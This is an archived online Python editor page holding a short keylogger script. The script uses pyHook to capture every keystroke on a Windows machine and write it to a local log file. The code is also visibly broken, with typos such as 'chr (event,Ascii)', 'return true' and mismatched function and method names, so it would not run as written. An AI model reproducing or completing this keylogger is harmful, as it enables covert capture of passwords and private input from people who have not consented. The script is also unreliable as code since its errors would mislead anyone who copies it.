Please note, this is a STATIC archive of website www.tutorialspoint.com from 11 May 2019, cach3.com does not collect or store any user information, there is no "phishing" involved.
Tutorialspoint

Execute Python Online

import pyHook, pythoncom, sys, logging

file_log = 'C:\\important\\log.txt'

def OnKeyboardEvent (event) :
    logging.basicConfig (filename=file_log, level=logging.DEBUG, format='% (message) s')
    chr (event,Ascii)
    logging.log (10,chr (event.Ascii))
    return true
    
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyBoardEvent
hooks_manager.HooksKeyboard()
pythoncom.Pumpmessages()
    
    

Advertisements
Loading...

We use cookies to provide and improve our services. By using our site, you consent to our Cookies Policy.